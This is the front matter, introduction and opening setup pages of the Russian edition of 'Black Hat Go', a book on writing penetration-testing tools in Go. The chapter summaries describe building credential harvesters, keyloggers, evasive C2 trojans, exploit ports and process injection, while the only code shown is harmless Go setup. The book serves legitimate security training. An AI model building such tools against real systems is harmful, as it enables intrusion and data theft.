Black Hat Go: Программирование для хакеров и пентестеров
Қосымшада ыңғайлырақҚосымшаны жүктеуге арналған QRRuStore · Samsung Galaxy Store
Huawei AppGallery · Xiaomi GetApps

автордың кітабын онлайн тегін оқу  Black Hat Go: Программирование для хакеров и пентестеров

 

Том Стил, Крис Паттен, Дэн Коттманн
Black Hat Go: Программирование для хакеров и пентестеров
2022

Научный редактор Д. Старков

Перевод Д. Брайт


 

Том Стил, Крис Паттен, Дэн Коттманн

Black Hat Go: Программирование для хакеров и пентестеров. — СПб.: Питер, 2022.

 

ISBN 978-5-4461-1795-6

© ООО Издательство "Питер", 2022

 

Все права защищены. Никакая часть данной книги не может быть воспроизведена в какой бы то ни было форме без письменного разрешения владельцев авторских прав.

 

Об авторах

Том Стил (Tom Steele) работает на Go с момента выхода его первой версии в 2012 году и одним из первых в своей области использовал этот язык для создания инструментов противодействия киберугрозам. Том — ведущий консультант по исследованиям в Atredis Partners, более десяти лет работает в области оценки систем безопасности как в исследовательских целях, так и для борьбы с хакерскими атаками. Том проводил обучающие курсы на множестве конференций, включая Defcon, BlackHat, DerbyCon и BSides. Имеет черный пояс по бразильскому джиу-джитсу и регулярно участвует в соревнованиях регионального и национального уровня, а также основал в Айдахо собственную школу по этому боевому искусству.

Крис Паттен (Chris Patten) — сооснователь и ведущий специалист STACKTITAN — компании, занимающейся консультированием по безопасности специализированных служб защиты. Крис уже более 25 лет работает в этой сфере и за это время занимал множество различных должностей. Последние десять лет он консультировал ряд коммерческих и государственных организаций по многим направлениям, включая техники противодействия кибератакам, возможности выявления угроз и стратегии минимизации ущерба. На своей последней должности Крис выступал в роли лидера одной из крупнейших команд по противодействию атакам в Северной Америке.

Прежде чем стать консультантом, Крис служил в военно-воздушных силах США, оказывая технологическую поддержку в процессе боевых операций. Он был активным участником сообщества специальных операций Министерства обороны США в USSOCOM, консультировал группы по спецоперациям относительно чувствительных инициатив в области кибервойны. По завершении службы в армии Крис занимал ведущие должности во многих телекоммуникационных компаниях из списка Fortune 500, работая с партнерами в исследовательской сфере.

Дэн Коттманн (Dan Kottmann) — сооснователь и ведущий консультант STACKTITAN. Сыграл важную роль в росте и развитии крупнейшей североамериканской компании по противодействию киберугрозам, непосредственно участвуя в формировании навыков персонала, повышении эффективности процессов, улучшении пользовательского опыта и качества реализации услуг. На протяжении 15 лет Дэн занимался межотраслевым клиентоориентированным консультированием и развитием этой сферы, в первую очередь фокусируясь на информационной безопасности и поставке приложений.

Дэн выступал на разных национальных и региональных конференциях по безо­пасности, включая Defcon, BlackHat Arsenal, DerbyCon, BSides и др. Увлекается разработкой ПО и создал многие как открытые, так и проприетарные приложения, начиная с инструментов командной строки и заканчивая сложными трехуровневыми и облачными веб-приложениями.

О научном редакторе

Алекс Харви (Alex Harvey) всю жизнь посвятил работе в технологической сфере, занимался робототехникой, программированием, разработкой встраиваемых систем. Около 15 лет назад он перешел в сферу информационной безопасности, где сосредоточился на тестировании и исследованиях. Алексу всегда нравилось создавать инструменты для работы, и очередным средством для этого был выбран именно язык Go.

Предисловие

Языки программирования всегда влияли на индустрию информационной безопасности. Ограничения архитектуры, стандартные библиотеки и реализации протоколов, доступные в рамках каждого языка, в итоге определяли плоскость атаки любого создаваемого на их основе приложения. То же касается и инструментов безопасности. Правильно подобранный язык может упростить сложные задачи, а чрезвычайно сложные сделать совершенно тривиальными. Обширная экосистема Go делает этот язык очень привлекательным средством для разработки инструментов безопасности. Он переписывает правила как для разработки безопасных приложений, так и для создания соответствующих инструментов, позволяя задействовать более быстрые, безопасные и портативные средства.

За более чем 15 лет, которые я работал с Metasploit Framework, этот проект дважды полностью переписывался. Сначала лежащий в основе Perl был заменен на Ruby, а позднее добавлена поддержка ряда мультиязычных модулей, расширений и полезных нагрузок. Эти изменения отражают постоянно меняющиеся принципы разработки ПО. Если вы хотите поспевать за тенденциями развития систем безо­пасности, то должны своевременно адаптировать свои инструменты. При этом использование грамотно подобранного языка позволит сэкономить уйму ценного времени. Но так же, как и Ruby, Go не стал применяться повсеместно в одночасье. Выбор нового языка с неокрепшей экосистемой для разработки продукта, представляющего ценность, требует не только решимости, но и веры, ведь этот процесс, помимо прочего, будет сопряжен с трудностями, вызванными недостатком нужных библиотек, не успевающих появляться в нужное время.

Авторы «Black Hat Go» одними из первых начали использовать этот язык для разработки инструментов безопасности, создав самые ранние открытые проекты, включая BlackSheepWall, Lair Framework, sipbrute и многие другие. Все они представляют собой прекрасные примеры возможностей применения Go. Авторам одинаково легко дается как создание софта, так и его разбор по крупицам, и данная книга отлично демонстрирует их способность ловко комбинировать эти навыки.

Издание предоставляет все необходимое для начала разработки в области безопасности, не перегружая читателя малоиспользуемыми возможностями языка. Хотите написать до смешного быстрый сетевой сканер, вредоносный HTTP-прокси или кросс-платформенный фреймворк командования и управления (Command and Control)? Вы обратились по адресу! Если у вас уже есть опыт программирования и вы ищете знания по разработке инструментов безопасности, то эта книга предоставит вам как основные концепции, так и компромиссы, которые хакеры всех мастей принимают в расчет при написании инструментов. На приведенных в этой книге техниках многому могут научиться даже опытные Go-разработчики, так как создание инструментов для атаки ПО требует особого склада ума, отличающегося от типичного, характерного для разработки приложений, хода мысли. Компромиссы, используемые вами при проектировании программного обеспечения, скорее всего, будут сильно отличаться, когда к задачам добавятся обход систем безопасности и намерение избежать обнаружения.

Если вы уже работаете в сфере наступательной безопасности, эта книга поможет вам создать утилиты, существенно опережающие по скорости существующие решения. Если же являетесь сотрудником обороняющейся стороны или состоите в команде реагирования на инциденты, то с ее помощью научитесь выполнять парсинг и организовывать защиту от вредоносных программ, написанных на Go.

Успехов в освоении!

Эйч Ди Мур, основатель Metasploit и Critical Research Corporation, вице-президент по исследованиям и разработкам в Atredis Partners

Благодарности

Вы бы не держали сейчас в руках данную книгу, не разработай Роберт Гризмер (Robert Griesmer), Роб Пайк (Rob Pike) и Кен Томпсон (Ken Thompson) столь замечательный язык программирования. Эти люди, а также вся команда разработчиков Go не перестают с каждым релизом выпускать всё новые полезные обновления. Мы бы ни за что не взялись писать о языке, не будь он столь легок и интересен для изучения и использования.

Мы также благодарим команду No Starch Press: Лаурель, Франсис, Билла, Энни, Барбару и всех тех, с кем имели честь взаимодействовать. Все вы направляли нас по непроторенной территории написания нашей первой книги. Несмотря на все жизненные обстоятельства, будь то семейные неурядицы или смена места работы, вы все это время были терпеливы, в то же время продолжая подталкивать нас к завершению начатого. Мы были рады работать с каждым сотрудником всей огромной команды No Starch Press.

 

Хочу отдельно поблагодарить Джен за поддержку, за то что воодушевляла меня и хранила семейный очаг, пока я пропадал в офисе по вечерам и выходным, работая над этой никак не кончавшейся книгой. Джен, ты помогла мне больше, чем можешь представить, и твои вдохновляющие слова сыграли в этом не последнюю роль. Я искренне признателен жизни за то, что ты у меня есть. Я должен поблагодарить Ти — мою верную собаку за ее присутствие рядом со мной в офисе и за то, что регулярно выдергивала меня из виртуального мира с напоминанием о реальном, в который необходимо возвращаться. В завершение от всего сердца я хочу посвятить эту книгу детишкам Ти, Луне и Энни, которые ушли, пока я писал ее. Вы, девочки, значили и продолжаете значить для меня очень многое, и этот труд будет всегда служить напоминанием о моей любви к вам.

Крис Паттен

 

Искренне благодарю свою жену и лучшего друга Кэти за ее непрерывную поддержку, ободрение и веру в меня. В моей жизни нет ни дня, когда я не ощущаю благодарности за все, что ты делаешь для меня и нашей семьи. Спасибо вам, Брукс и Сабс, за то, что дали мне повод к столь усердному труду. Для меня нет лучшей работы, чем быть вашим отцом. Также благодарю лучших «офисных сторожевых», о каких только мог мечтать, — Лео (покойся с миром), Арло, Мерфи и даже Хоуи (да, Хоуи тоже). Вы систематически разносили мой дом и периодически ставили под вопрос мой жизненный выбор, но ваше присутствие и товарищество заполняли весь мой мир. Вы все получите по подписанному экземпляру книги, которые сможете вдоволь пожевать.

Дэн Коттманн

 

Спасибо тебе, любовь моей жизни — Джекки, за заботу и вдохновение. Ничто из того, что я делаю, не было бы возможным без твоей поддержки и всего, что ты делаешь для нашей семьи. Благодарю своих друзей и коллег в Atredis Partners и всех, с кем я делил общее рабочее пространство в прошлом. Я оказался там, где я есть, благодаря вам. Спасибо моим наставникам и друзьям, которые верили в меня с первого дня. Вас слишком много, чтобы перечислять каждого по имени. Я благодарен всем невероятным людям, которых встречал на протяжении жизни. Спасибо тебе, мама, за то, что отвела меня в кружок по программированию. Оглядываясь назад, могу сказать, что это было пустой тратой времени и в основном я играл там в Myst, но именно тогда во мне зажегся интерес ко всему этому (скучаю по 1990-м). Отдельно хочу от всего сердца поблагодарить своего Спасителя, Иисуса Христа.

Том Стил

 

Это был немалый путь — почти три года. За это время произошло очень многое, но вот наконец мы здесь. Хочу выразить от всех нас искреннюю признательность за отзывы, которые присылали нам друзья, коллеги, семьи и читатели ранней версии книги. Вас, наш уважаемый читатель, мы благодарим за терпение и надеемся, что вы получите такое же наслаждение от прочтения этой книги, какое получали мы при ее написании. Всех вам благ!

Введение

На протяжении почти шести лет мы втроем вели одну из крупнейших в Северной Америке практик по консультированию в сфере пентеста. Будучи старшими консультантами, мы выполняли техническую работу, включая тесты на сетевое проникновение в интересах наших клиентов, а также инициировали разработку улучшенных инструментов, процессов и методологий. И в определенный момент в качестве одного из основных языков разработки начали использовать Go.

Go объединяет лучшие возможности аналогичных языков, достигая баланса между производительностью, безопасностью и удобством применения. Вскоре мы сделали его основным средством разработки инструментов, а в итоге даже стали в какой-то степени продвигать его, подталкивая своих коллег по индустрии к знакомству с ним. Нам казалось, что обеспечиваемые Go преимущества по меньшей мере заслуживают рассмотрения.

В этой книге мы предлагаем вам путешествие по миру возможностей программирования на этом языке с позиции специалистов по безопасности и хакеров. В отличие от других изданий по хакингу, здесь мы будем не просто показывать вам, как автоматизировать сторонние или коммерческие инструменты (хотя об этом все же позже поговорим), а погрузимся в разнообразные практические тематики, связанные с конкретными задачами, протоколами или тактиками, которые пригодятся для противодействия атакам. Мы затронем TCP, HTTP и DNS, станем взаимодействовать с Metasploit и Shodan, изучим поиск по файловым системам и базам данных, портируем эксплойты из других языков в Go, напишем ключевые функции SMB-клиента, атакуем Windows, кросс-компилируем бинарные файлы, поработаем с криптосистемами, используем вызов библиотек C, воздействуем на Windows API и сделаем многое другое. В общем, замысел грандиозен, так что приступим!

Для кого эта книга

Книга предназначена для всех, кто хочет научиться разрабатывать собственные хакерские инструменты с помощью Go. Как профессионалы, и в особенности как консультанты, мы всегда определяли программирование как фундаментальный навык для пентестеров и специалистов по безопасности. Способность писать код, в частности, расширяет ваше понимание принципов работы ПО, а следовательно, и понимание того, как его взломать. Кроме того, если вы уже побывали в роли разработчика, то сможете более целостно оценивать сложности, с которыми он сталкивается в работе с ПО, отвечающим за безопасность. При этом, исходя из личного опыта, вы будете способны давать более эффективные рекомендации как уменьшать негативные последствия, устранять ложные срабатывания и определять скрытые уязвимости. Написание кода зачастую вынуждает вас взаимодействовать со сторонними библиотеками, а также разными наборами приложений и фреймворками. Для многих, включая нас, максимальный успех разработки обусловливается именно практическим опытом и доработкой мелких деталей.

Чтобы получить максимальную пользу от прочтения книги, рекомендуем скопировать официальный репозиторий с кодом: так у вас под рукой будут все рабочие примеры, о которых мы расскажем. Вы найдете примеры в репозитории https://github.com/blackhat-go/bhg/.

Чего в этой книге нет

Эта книга — не руководство по программированию на Go в целом, а инструкция по использованию языка для разработки инструментов безопасности. В первую очередь мы хакеры и только потом программисты. Никто из нас никогда не был инженером ПО. Это значит, что как хакеры мы ставим во главу угла функциональность, а не элегантность. Во многих случаях мы были склонны писать код в хакерской манере, не учитывая некоторые из идиом или лучших методов создания структуры ПО. У консультантов вечно не хватает времени. Разработка более простого кода зачастую быстрее, а значит, это предпочтительнее, чем добиваться его элегантности. Когда вам требуется быстро найти решение, вопрос стиля отходит на второй план.

Это может не понравиться идеалистам Go, которые наверняка будут писать в соцсетях, что мы «некорректно обрабатываем все условия ошибки», «наши примеры недостаточно оптимизированы» или «желаемых результатов можно было добиться с помощью лучших конструкций или методов». В большинстве случаев нашей задачей не было научить вас наилучшим, максимально элегантным или на 100 % идиоматическим решениям, если это не влияло положительно на итоговый результат. Несмотря на то что мы вкратце рассмотрим синтаксис языка, сделаем это лишь для того, чтобы обозначить для вас фундамент, на котором вы сможете строить. В конце концов, это не книга «Обучение элегантному программированию на Go» — это «Black Hat Go».

Почему Go

До появления Go можно было расставить приоритеты по простоте применения, рассматривая такие динамически типизированные языки, как Python, Ruby или PHP. В любом случае требовалось пожертвовать определенной долей производительности и безопасности. В качестве альтернативы были доступны статически типизированные языки, например С или C++, которые обеспечивают высокую производительность и безопасность, но не особо удобны в использовании. А Go лишен большей части устрашающих сторон его прямого предка — C, что существенно облегчает разработку. В то же время это статически типизированный язык, который показывает синтаксические ошибки в процессе компиляции, что дает разработчику уверенность в безопасном выполнении кода. При этом после компиляции он выполняется оптимальнее интерпретируемых языков. В его структуру также заложена возможность многопоточных вычислений, что делает легкодоступным параллельное программирование.

Эти причины использования Go не особо интересуют специалистов по безопасности. Тем не менее многие из возможностей языка особенно полезны для хакеров и специалистов по защите.

Отчетливая система управления пакетами. Решение по управлению пакетами реализовано здесь очень элегантно и интегрировано прямо с инструментами Go. Используя исполняемый файл go, вы можете с легкостью скачивать, компилировать и устанавливать пакеты и зависимости, что делает процесс привлечения сторонних библиотек простым и, как правило, бесконфликтным.

• Кросс-компиляция. Одна из наилучших возможностей Go — его способность кросс-компилировать исполняемые файлы. До тех пор пока ваш код не взаимодействует с чистым C, можно легко писать его в Linux или Mac, а компилировать в Windows-совместимом формате Portable Executable.

• Богатая стандартная библиотека. Время, проведенное за разработкой на других языках, позволило нам оценить обширность собственной библиотеки Go. Многим современным языкам недостает стандартных библиотек, требующихся для выполнения таких привычных задач, как шифрование, сетевые коммуникации, подключение к базам данных и кодирование данных (JSON, XML, Base64, hex). Go содержит многие из этих жизненно важных функций и библиотек в собственной стандартной библиотеке, что сокращает количество действий, необходимых для правильной настройки среды разработки или вызова функций.

• Многопоточность. В отличие от более зрелых языков, Go вышел почти одновременно с массовым появлением первых многоядерных процессоров. Поэтому в нем шаблоны многопоточности и оптимизации производительности настроены как раз под эту модель обработки.

Чем может не понравиться Go

Мы понимаем, что Go не является идеальным решением для каждой задачи. Вот некоторые из его недостатков.

Размер двоичного файла. При компиляции этого файла в Go он чаще всего имеет размер в несколько мегабайт. Вы, конечно, можете обрезать символы отладки и уменьшить объем с помощью упаковщика, но эти приемы требуют особой внимательности, так как могут сыграть и в обратную. Специалистам по безопасности, которым требуется прикреплять двоичный файл к электронным письмам, размещать его на файлообменниках или передавать по сети, нужно быть очень внимательными.

• Громоздкость. Несмотря на то что синтаксис Go более компактен, чем C#, Java или даже C/C++, вы все равно столкнетесь с тем, что простая конструкция языка требует излишней выразительности в отношении таких компонентов, как списки (называемые срезами), процессинг, циклы и обработка ошибок. Однострочная инструкция из Python здесь легко может стать трехстрочной.

Краткий обзор

В главе 1 происходит базовое знакомство с синтаксисом Go и его философией. Затем мы переходим к изучению примеров, которые вы можете использовать для разработки инструментов, включая такие сетевые протоколы, как HTTP, DBS и SMB. После этого идет углубление в тактики и задачи, с которыми мы встречались как пентестеры. Здесь вы познакомитесь с такими темами, как кража данных, парсинг пакетов и разработка эксплойтов. В завершение мы оглянемся назад и вкратце поговорим о том, как создавать динамические встраиваемые инструменты, после чего перейдем к шифрованию, атаке Microsoft Windows и реализации стеганографии.

Во многих случаях вы сможете расширить приводимые нами инструменты, чтобы они соответствовали вашим конкретным задачам. Несмотря на то что мы везде приводим надежные примеры, в реальности мы хотим обеспечить вас знаниями и основами, с помощью которых вы расширите или переработаете эти примеры для достижения собственных целей. Говоря образно, мы не просто даем вам рыбу, но хотим, чтобы вы научились рыбачить.

Прежде чем читать далее, обратите внимание на то, что мы — авторы и издатель — создали этот контент только для законного использования. Мы не несем никакой ответственности за злонамеренные и незаконные действия, которые вы можете с его помощью совершить. Все содержимое служит исключительно образовательным целям. Не проводите тестирование на проникновение в отношении систем или приложений, не получив на это авторизованного разрешения.

Далее приведено краткое описание содержания каждой главы.

Глава 1. Go. Основы

Задача этой главы — познакомить вас с основами Go и обеспечить фундамент, необходимый для понимания концепций, рассматриваемых на протяжении всей книги. Сюда входит сокращенный обзор базового синтаксиса и идиом Go. В этой главе мы поговорим о его экосистеме, включая поддерживаемые инструменты, IDE, управление зависимостями и др. Читатели, совсем не знакомые с этим языком, узнают здесь самое необходимое, что, как мы рассчитываем, позволит им понимать, реализовывать и расширять примеры из последующих глав.

Глава 2. TCP, сканеры и прокси

Глава знакомит читателя с базовыми понятиями Go, примитивами и шаблонами многопоточности, вводом/выводом (I/O), а также использованием интерфейсов в TCP-приложениях. Сначала мы научим вас создавать простой сканер TCP-портов, сканирующий список портов на основе параметров командной строки. Это подчеркнет простоту кода Go в сравнении с созданным на других языках и сформирует у вас понимание его базовых типов, пользовательского ввода, а также обработки ошибок. Далее мы покажем, как повысить эффективность и скорость созданного сканера путем добавления параллельных функций. После этого мы познакомимся с I/O. Для этого создадим TCP-прокси, выполняющий функцию переадресации портов, начав с простых примеров и постепенно дорабатывая код для повышения надежности нашего решения. В заключение воссоздадим Netcat-функцию «зияющая дыра в безопасности» на Go, научив вас выполнять команды операционной системы, манипулируя stdin и stdout и перенаправляя их по TCP.

Глава 3. HTTP-клиенты и инструменты удаленного доступа

HTTP-клиенты являются важнейшим компонентом при взаимодействии с современными архитектурами веб-серверов. В этой главе вы увидите, как создавать HTTP-клиенты, необходимые для выполнения множества стандартных сетевых взаимодействий. В ней вы займетесь обработкой различных форматов для коммуникации с Shodan и Metasploit. Помимо этого мы покажем, как работать с поисковыми движками, используя их для сбора и парсинга метаданных с целью извлечения полезной для организации и профайлинга информации.

Глава 4. HTTP-серверы, маршрутизация и промежуточное ПО

Эта глава представит принципы и соглашения, необходимые для создания HTTP-сервера. Здесь мы обсудим стандартную маршрутизацию, промежуточное ПО и шаблонные методы, применив эти знания для создания сборщика учетных данных и кейлогера. В завершение покажем, как мультиплексировать соединения управления и контроля (command-and-control, C2), создав обратный HTTP-прокси.

Глава 5. Эксплуатация DNS

Эта глава знакомит вас с основными принципами DNS с помощью Go. В ней мы сначала выполним клиентские операции, включая просмотр записей конкретного домена, а затем продемонстрируем написание собственного DNS-сервера и DNS-прокси, которые пригодятся для операций C2.

Глава 6. Взаимодействие с SMB и NTLM

Тут мы изучим протоколы SMB и NTLM, взяв их в качестве основы для обсуждения реализаций протоколов в Go. На основе частичной реализации SMB мы рассмотрим маршалинг и демаршалинг данных, использование тегов настраиваемых полей и др. Мы расскажем и покажем, как задействовать эту реализацию для извлечения подписи SMB, а также выполнения атак по подбору пароля.

Глава 7. Взлом баз данных и файловых систем

Кража данных является важнейшим аспектом тестирования на проникновение. Данные находятся во множестве ресурсов, включая БД и файловые системы. Эта глава представляет основные способы подключения к базам данных и взаимодействия с ними на ряде распространенных SQL- и NoSQL-платформ. В ней вы узнаете основы подключения к SQL-базам данных и выполнения запросов. Мы покажем вам, как выполнять поиск чувствительной информации по БД и таблицам, стандартную технику, используемую после внедрения эксплойта. Помимо этого вы узнаете, как обходить файловые системы и просматривать файлы на предмет чувствительной информации.

Глава 8. Обработка сырых пакетов

В этой главе мы покажем, как парсить и обрабатывать сетевые пакеты с помощью библиотеки gopacketn, использующей libpcap. Вы научитесь идентифицировать доступные сетевые устройства, задействовать пакетные фильтры и обрабатывать эти пакеты. После этого мы разработаем сканер портов, способный проверять надежность механизмов защиты посредством различных типов сканирования, включая SYN-флуд и SYN-куки, которые приводят к чрезмерному количеству ложных срабатываний при сканировании портов.

Глава 9. Написание и портирование эксплойтов

Эта глава почти полностью посвящена разработке эксплойтов. Она начинается с создания фаззера для обнаружения различных типов уязвимостей. Вторая половина главы рассказывает, как портировать имеющиеся эксплойты из других языков в Go. Сюда входит перенос эксплойта десериализации Java и эксплойта повышения привилегий Dirty COW. В завершение мы говорим о создании и преобразовании шелл-кода для применения в ваших программах Go.

Глава 10. Плагины и расширяемые инструменты Go

Здесь мы представим вам два отдельных метода создания расширяемых инструментов. Первый, появившийся в Go 1.8, использует внутренний механизм плагинов. Мы рассмотрим случаи применения этого подхода и обсудим второй метод, задействующий для создания расширяемых инструментов язык Lua. Мы также приведем практические примеры, показав, как с помощью любого из этих подходов выполнять стандартную задачу безопасности.

Глава 11. Реализация криптографии и криптографические атаки

Глава раскрывает базовые понятия симметричной и асимметричной криптографии с использованием Go. Ее материал посвящен пониманию и применению криптографии на примере стандартного пакета Go. Go является одним из немногих языков, который, вместо того чтобы применять для шифрования стороннюю библиотеку, прибегает к собственной реализации. Это упрощает навигацию по коду, его изменение и понимание.

Мы изучим стандартную библиотеку, рассмотрев общие случаи ее использования и создание инструментов. Эта глава покажет, как выполнять хеширование, аутентификацию сообщений и шифрование. В конце вы узнаете, как дешифровывать RC2-криптограммы методом грубой силы (brute-force).

Глава 12. Взаимодействие с системой Windows и ее анализ

В ходе рассмотрения атак Windows мы познакомим вас с методами взаимодействия с внутренним Windows API, изучим пакет syscall для внедрения процессов и узнаем, как создавать двоичный парсер Portable Executable (PE). Завершится эта глава обсуждением вызова собственных библиотек С через механизмы межъязыковой совместимости Go.

Глава 13. Сокрытие данных с помощью стеганографии

Стеганография — это метод сокрытия сообщения или файла внутри другого файла. Эта глава знакомит вас с одним из видов стеганографии: сокрытием произвольных данных внутри содержимого PNG-файла. Рассматриваемые в ней техники могут пригодиться для извлечения информации, создания замаскированных сообщений C2 и обхода детективных или превентивных средств контроля.

Глава 14. Создание C2-трояна удаленного доступа

Последняя глава посвящена практическим реализациям имплантатов и серверов управления и контроля (C2) в Go. В ней мы задействуем все приобретенные в процессе чтения книги знания и опыт для построения канала C2. Реализация «клиент — сервер» C2 благодаря своей настраиваемой природе будет избегать контроля безопасности на основе сигнатур и пытаться обмануть эвристику, а также сетевые средства контроля выхода.

От издательства

Ваши замечания, предложения, вопросы отправляйте по адресу comp@piter.com (издательство «Питер», компьютерная редакция).

Мы будем рады узнать ваше мнение!

На веб-сайте издательства www.piter.com вы найдете подробную информацию о наших книгах.

1. Go. Основы

Эта глава познакомит вас с процессом настройки среды разработки Go и синтаксисом. Об основах механики этого языка написаны целые книги, здесь же мы рассмотрим основные принципы и понятия, которые вам понадобятся для работы с приводимыми примерами кода. Мы затронем все, начиная от примитивных типов данных и заканчивая реализацией многопоточности. Для тех же, кто уже хорошо знаком с Go, большая часть этой главы окажется просто обзором.

Настройка среды

Для начала работы с Go вам потребуется функциональная среда разработки. В данном разделе мы проведем вас по всем необходимым этапам, включающим скачивание, а также настройку рабочего пространства и переменных среды для языка Go. Здесь будут рассмотрены различные варианты для интегрированной среды и некоторые из стандартных инструментов, поставляемых с Go.

Скачивание и установка Go

Начните со скачивания соответствующего вашей операционной системе и архитектуре установочного файла Go с официального сайта (https://golang.org/dl/). Здесь вы найдете файлы для Windows, Linux и macOS. Если вы используете систему, для которой нет установочного файла, можете скачать по той же ссылке исходный код Go.

Запустите скачанный установщик и следуйте инструкциям, по ходу которых вы установите весь набор ключевых пакетов Go. Пакеты, в большинстве языков называемые библиотеками, содержат полезный код, который вы сможете задействовать в своих программах.

Настройка GOROOT для определения расположения двоичного файла

Далее нужно сообщить операционной системе, где находится установленная программа. В большинстве случаев, если вы установили Go в путь по умолчанию, например в /usr/local/go на системах *Nix/BSD, то ничего дополнительно делать не потребуется. Если же решили поместить Go в иное место или устанавливаете его в Windows, то нужно сообщить ОС путь к файлу для его запуска.

Это можно сделать из командной строки, указав его в зарезервированной переменной среды GOROOT. Настройка переменных сред зависит от операционной системы. В Linux или macOS вы можете добавить ~/.profile в следующее:

set GOROOT=/path/to/go

В Windows эту переменную среду можно добавить через панель управления, найдя в ней раздел Переменные среды.

Настройка GOPATH для определения местоположения рабочего пространства

В отличие от GOROOT, которая необходима только в конкретных сценариях установки, переменную среды GOPATH необходимо определять постоянно, сообщая таким образом набору инструментов Go, где будут находиться исходный код, сторонние библиотеки и скомпилированные программы. Для этого можно использовать любое место. Как только вы создадите этот основной каталог рабочего пространства, создайте в нем три подкаталога: bin, pkg и src (подробнее о них мы напишем чуть позже). Затем нужно настроить саму переменную GOPATH. Например, если вы хотите поместить проекты в каталог gocode, расположенный в домашней папке Linux, то устанавливаете в GOPATH следующее значение:

GOPATH=$HOME/gocode

Каталог bin будет содержать скомпилированные и установленные исполняемые файлы Go, помещаемые в него автоматически при сборке и установке. Каталог pkg служит для хранения объектов пакетов, включая сторонние зависимости Go, необходимые для вашего кода. К примеру, таким образом вы можете применять код другого разработчика, более изящно обрабатывающий HTTP-маршрутизацию. В pkg будут содержаться исполняемые артефакты, необходимые для использования их реализации в вашем коде. И наконец, каталог src будет служить хранилищем для всего вредоносного исходного кода, который вы создадите.

Расположение вашего рабочего пространства может быть произвольным, но его внутренние каталоги должны соответствовать указанным именам и структуре. Команды компиляции, сборки и управления пакетами, о которых вы узнаете в этой главе чуть позже, все полагаются на эту стандартную структуру каталогов. Без этого важного этапа настройки проекты Go не будут компилироваться и не смогут обнаружить необходимые зависимости.

Настроив переменные GOROOT и GOPATH, нужно подтвердить завершение данного процесса. В Linux и Windows для этого можно использовать команду set. Дополнительно убедитесь, что ваша система видит установленный исполняемый файл и вы задействуете требуемую версию Go, введя команду goversion:

$ go version

go version go1.11.5 linux/amd64

В ответ должна вернуться версия установленного двоичного файла.

Выбор интегрированной среды разработки

Далее вы, скорее всего, решите выбрать интегрированную среду разработки (IDE), в которой и будете писать код. Несмотря на то что этот инструмент не является необходимым, многие его возможности помогают снизить количество ошибок, добавить горячие клавиши для доступа к системе контроля версий, облегчают управление пакетами и многое другое. Поскольку Go — довольно молодой язык, спектр предлагаемых для него IDE может быть ограничен.

К счастью, за последние несколько лет появилось несколько полноценных вариантов, часть из которых мы рассмотрим в текущей главе. Более подробный список IDE или редакторов можно найти на вики-странице Go (https://github.com/golang/go/wiki/IDEsAndTextEditorPlugins/). Наша книга подразумевает полную свободу выбора IDE/редактора, и мы не призываем вас к использованию их конкретных вариантов.

Редактор Vim

Текстовый редактор Vim, доступный во многих дистрибутивах операционных систем, предоставляет гибкую, расширяемую и полностью открытую среду разработки. Одна из наиболее соблазнительных функций Vim заключается в том, что он позволяет пользователям выполнять все из терминала без посредничества замысловатых GUI.

Этот редактор содержит обширную экосистему плагинов, с помощью которой вы можете настраивать темы, добавлять инструменты контроля версий, определять сниппеты, макеты и навигацию по коду, включать автоподстановку, задействовать выделение синтаксиса и линтинг, а также многое другое. К наиболее распространенным системам управления плагинами Vim относятся Vundle и Panthogen.

Чтобы работать через этот редактор с Go, установите плагин vim-go (https://github.com/fatih/vim-go/), показанный на рис. 1.1.

 

Рис. 1.1. Плагин vim-go

Естественно, чтобы эффективно вести через него разработку на Go, сначала потребуется освоить сам редактор. Следующий же этап настройки этой среды со всеми необходимыми вам функциями может оказаться несколько пугающим. Используя бесплатный Vim, приходится жертвовать рядом удобств, предлагаемых коммерческими IDE.

GitHub Atom

IDE GitHub, называемая Atom (https://atom.io/), представляет собой редактор с богатым набором поддерживаемых сообществом пакетов. В отличие от Vim, он предоставляет отдельное IDE в виде приложения, а не работающее через терминал решение.

Как и Vim, Atom бесплатен. Он по умолчанию предлагает тайлинг, управление пакетами, контроль версий, отладку, автоподстановку и множество дополнительных возможностей прямо из коробки. Поддержка Go в нем реализуется через плагин go-plus (https://atom.io/packages/go-plus/).

 

Рис. 1.2. Atom с поддержкой Go

Microsoft Visual Studio Code

Visual Studio Code (VS Code) от Microsoft является, вероятно, одной из наиболее богатых функционалом и легких в настройке IDE. Она абсолютно бесплатна и распространяется под лицензией MIT.

 

Рис. 1.3. IDE VS Code с поддержкой Go

Эта IDE поддерживает разнообразные расширения для тем, управления версиями, автодополнения кода, отладки, линтинга и форматирования. Интеграцию с Go в этом случае можно реализовать с помощью расширения vscode-go (https://github.com/Microsoft/vscode-go/).

JetBrains GoLand

Коллекция инструментов разработки от JetBrains очень эффективна и богата возможностями, что упрощает реализацию как любительских, так и профессиональных проектов. На рис. 1.4 показано, как выглядит IDE JetBrains GoLand.

 

Рис. 1.4. Коммерческая IDE GoLand

GoLand — коммерческая IDE, посвященная языку Go. Стоимость этого инструмента варьируется от бесплатной для студентов до 89 долларов в год для частных клиентов и 199 долларов в год для организаций. GoLand предлагает все возможности многофункциональной IDE, включая отладку, автодополнение кода, контроль версий, линтинг, форматирование и др. Несмотря на то что платность может немного отпугивать, коммерческие продукты, подобные этому, обычно предлагают официальную поддержку, документацию, своевременное исправление ошибок и ряд других гарантий, сопровождающих корпоративное ПО.

Использование стандартных команд Go tool

В Go есть ряд полезных команд, упрощающих процесс разработки. Они обычно имеются также в IDE, позволяя согласованно работать с инструментами в различных средах. Давайте разберем некоторые из них.

Команда go run

Это одна из наиболее часто применяемых в процессе разработки команд, которая компилирует и выполняет основной пакет — точку входа в программу.

В качестве примера сохраните следующий код в каталоге проекта $GOPATH/src (вы создали его при установке) как main.go:

package main

import (

    "fmt"

)

func main() {

    fmt.Println("Hello, Black Hat Gophers!")

}

Теперь в командной строке перейдите к каталогу с этим файлом и выполните gorunmain.go. В результате должно отобразиться сообщение Hello,BlackHatGophers!.

Команда go build

Обратите внимание, что gorun выполняет файл, но не генерирует самостоятельный двоичный файл. Для этого как раз и используется команда gobuild. Она компилирует приложение, включая все пакеты и их зависимости, не инсталлируя полученный результат. То есть она создает на диске двоичный файл, но программу не запускает. Создаваемые ею файлы соответствуют общему соглашению именования, но при этом вы можете самостоятельно изменить имя итогового файла с помощью команды -ooutput.

Переименуйте main.go из предыдущего примера в hello.go. Затем в окне терминала выполните gobuildhello.go. Если все будет сделано, как задумано, на выходе вы получите исполняемый файл с именем hello. Теперь введите команду

$ ./hello

Hello, Black Hat Gophers!

Она запустит полученный двоичный файл.

